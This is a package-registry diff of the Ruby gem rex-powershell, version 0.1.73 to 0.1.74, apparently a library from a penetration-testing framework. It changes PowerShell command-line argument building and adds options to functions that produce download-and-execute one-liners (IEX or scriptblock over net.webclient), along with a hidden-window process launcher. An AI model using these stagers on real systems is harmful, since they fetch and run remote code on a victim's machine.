rex-powershell 0.1.73 → 0.1.74
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +4 -4
- checksums.yaml.gz.sig +0 -0
- data.tar.gz.sig +0 -0
- data/lib/rex/powershell/command.rb +15 -21
- data/lib/rex/powershell/psh_methods.rb +14 -4
- data/lib/rex/powershell/version.rb +1 -1
- metadata +2 -2
- metadata.gz.sig +0 -0
checksums.yaml
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
---
|
2
2
|
SHA1:
|
3
|
-
metadata.gz:
|
4
|
-
data.tar.gz:
|
3
|
+
metadata.gz: b88e31ce42aa0f6b8b9849c916f24680f156fb59
|
4
|
+
data.tar.gz: '0395b6d9bf3e79c7edfaff20e36b049c5df254c7'
|
5
5
|
SHA512:
|
6
|
-
metadata.gz:
|
7
|
-
data.tar.gz:
|
6
|
+
metadata.gz: 5b295b9d04daf9e4b7d39b80ed60ecfd70392c0b45c3337ad39848482f53e5499d30a08f33e9cb72e2a2a6026ca01ce05a1046baa81e0f449e36c9fee0aedec4
|
7
|
+
data.tar.gz: ae1d2be6edc876b9ec72a408ac466b2e5d73823a34f46c7f46e4033296d4b55730492f315706234d75723cd72107820eaa2b60aa3670825b26d0f41c95f29ded
|
checksums.yaml.gz.sig
CHANGED
Binary file
|
data.tar.gz.sig
CHANGED
Binary file
|
@@ -135,8 +135,6 @@ module Command
|
|
135
135
|
arg_string = ' '
|
136
136
|
opts.each_pair do |arg, value|
|
137
137
|
case arg
|
138
|
-
when :encodedcommand
|
139
|
-
arg_string << "-EncodedCommand #{value} " if value
|
140
138
|
when :executionpolicy
|
141
139
|
arg_string << "-ExecutionPolicy #{value} " if value
|
142
140
|
when :inputformat
|
@@ -164,11 +162,13 @@ module Command
|
|
164
162
|
|
165
163
|
# Command must be last (unless from stdin - etc)
|
166
164
|
if opts[:command]
|
167
|
-
if opts[:
|
168
|
-
arg_string << "-Command #{opts[:command]}"
|
169
|
-
else
|
165
|
+
if opts[:wrap_double_quotes]
|
170
166
|
arg_string << "-Command \"#{opts[:command]}\""
|
167
|
+
else
|
168
|
+
arg_string << "-Command #{opts[:command]}"
|
171
169
|
end
|
170
|
+
elsif opts[:encodedcommand]
|
171
|
+
arg_string << "-EncodedCommand #{opts[:encodedcommand]}"
|
172
172
|
end
|
173
173
|
|
174
174
|
# Shorten arg if PSH 2.0+
|
@@ -218,18 +218,15 @@ module Command
|
|
218
218
|
|
219
219
|
if encoded
|
220
220
|
opts[:encodedcommand] = ps_code
|
221
|
-
elsif opts[:use_single_quotes]
|
222
|
-
opts[:command] = ps_code.gsub("'", "''")
|
223
221
|
else
|
224
|
-
opts[:command] = ps_code
|
222
|
+
opts[:command] = ps_code.gsub("'", "''")
|
223
|
+
opts[:wrap_double_quotes] = false
|
225
224
|
end
|
226
225
|
|
227
|
-
ps_args = generate_psh_args(opts)
|
228
|
-
|
229
226
|
process_start_info = <<EOS
|
230
227
|
$s=New-Object System.Diagnostics.ProcessStartInfo
|
231
228
|
$s.FileName=$b
|
232
|
-
$s.Arguments='#{
|
229
|
+
$s.Arguments='#{generate_psh_args(opts)}'
|
233
230
|
$s.UseShellExecute=$false
|
234
231
|
$s.RedirectStandardOutput=$true
|
235
232
|
$s.WindowStyle='Hidden'
|
@@ -248,7 +245,11 @@ EOS
|
|
248
245
|
|
249
246
|
archictecure_detection.gsub!("\n", '')
|
250
247
|
|
251
|
-
|
248
|
+
if opts[:no_arch_detect]
|
249
|
+
return "$b='powershell.exe';#{process_start_info}"
|
250
|
+
else
|
251
|
+
archictecure_detection + process_start_info
|
252
|
+
end
|
252
253
|
end
|
253
254
|
|
254
255
|
#
|
@@ -272,8 +273,8 @@ EOS
|
|
272
273
|
# powershell script
|
273
274
|
# @option opts [Boolean] :remove_comspec Removes the %COMSPEC%
|
274
275
|
# environment variable at the start of the command line
|
275
|
-
# @option opts [Boolean] :
|
276
|
-
# argument in
|
276
|
+
# @option opts [Boolean] :wrap_double_quotes Wraps the -Command
|
277
|
+
# argument in double quotes unless :encode_final_payload
|
277
278
|
# @option opts [TrueClass,FalseClass] :exec_in_place Removes the
|
278
279
|
# executable wrappers from the powershell code returning raw PSH
|
279
280
|
# for executing with an existing PSH context
|
@@ -359,13 +360,6 @@ EOS
|
|
359
360
|
end
|
360
361
|
end
|
361
362
|
else
|
362
|
-
if opts[:use_single_quotes]
|
363
|
-
# Escape Single Quotes
|
364
|
-
final_payload.gsub!("'", "''")
|
365
|
-
# Wrap command in quotes
|
366
|
-
final_payload = "'#{final_payload}'"
|
367
|
-
end
|
368
|
-
|
369
363
|
command_args[:command] = final_payload
|
370
364
|
end
|
371
365
|
|
@@ -77,10 +77,15 @@ module Powershell
|
|
77
77
|
# Download and execute string via HTTP
|
78
78
|
#
|
79
79
|
# @param url [String] string to download
|
80
|
+
# @param iex [Boolean] utilize invoke-expression to execute code
|
80
81
|
#
|
81
82
|
# @return [String] PowerShell code to download and exec the url
|
82
|
-
def self.download_and_exec_string(url)
|
83
|
-
|
83
|
+
def self.download_and_exec_string(url, iex = true)
|
84
|
+
if iex
|
85
|
+
%Q^ IEX ((new-object net.webclient).downloadstring('#{url}'))^
|
86
|
+
else
|
87
|
+
%Q^&([scriptblock]::create((new-object net.webclient).downloadstring('#{url}')))^
|
88
|
+
end
|
84
89
|
end
|
85
90
|
|
86
91
|
#
|
@@ -88,14 +93,19 @@ module Powershell
|
|
88
93
|
# as a string and execute the contents as PowerShell
|
89
94
|
#
|
90
95
|
# @param url [String] string to download
|
96
|
+
# @param iex [Boolean] utilize invoke-expression to execute code
|
91
97
|
#
|
92
98
|
# @return [String] PowerShell code to download a URL
|
93
|
-
def self.proxy_aware_download_and_exec_string(url)
|
99
|
+
def self.proxy_aware_download_and_exec_string(url, iex = true)
|
94
100
|
var = Rex::Text.rand_text_alpha(1)
|
95
101
|
cmd = "$#{var}=new-object net.webclient;"
|
96
102
|
cmd << "$#{var}.proxy=[Net.WebRequest]::GetSystemWebProxy();"
|
97
103
|
cmd << "$#{var}.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;"
|
98
|
-
|
104
|
+
if iex
|
105
|
+
cmd << "IEX $#{var}.downloadstring('#{url}');"
|
106
|
+
else
|
107
|
+
cmd << "&([scriptblock]::create($#{var}.downloadstring('#{url}'));"
|
108
|
+
end
|
99
109
|
cmd
|
100
110
|
end
|
101
111
|
end
|
metadata
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
2
2
|
name: rex-powershell
|
3
3
|
version: !ruby/object:Gem::Version
|
4
|
-
version: 0.1.
|
4
|
+
version: 0.1.74
|
5
5
|
platform: ruby
|
6
6
|
authors:
|
7
7
|
- David 'thelightcosine' Maloney
|
@@ -88,7 +88,7 @@ cert_chain:
|
|
88
88
|
G+Hmcg1v810agasPdoydE0RTVZgEOOMoQ07qu7JFXVWZ9ZQpHT7qJATWL/b2csFG
|
89
89
|
8mVuTXnyJOKRJA==
|
90
90
|
-----END CERTIFICATE-----
|
91
|
-
date: 2017-
|
91
|
+
date: 2017-08-24 00:00:00.000000000 Z
|
92
92
|
dependencies:
|
93
93
|
- !ruby/object:Gem::Dependency
|
94
94
|
name: bundler
|
metadata.gz.sig
CHANGED
Binary file
|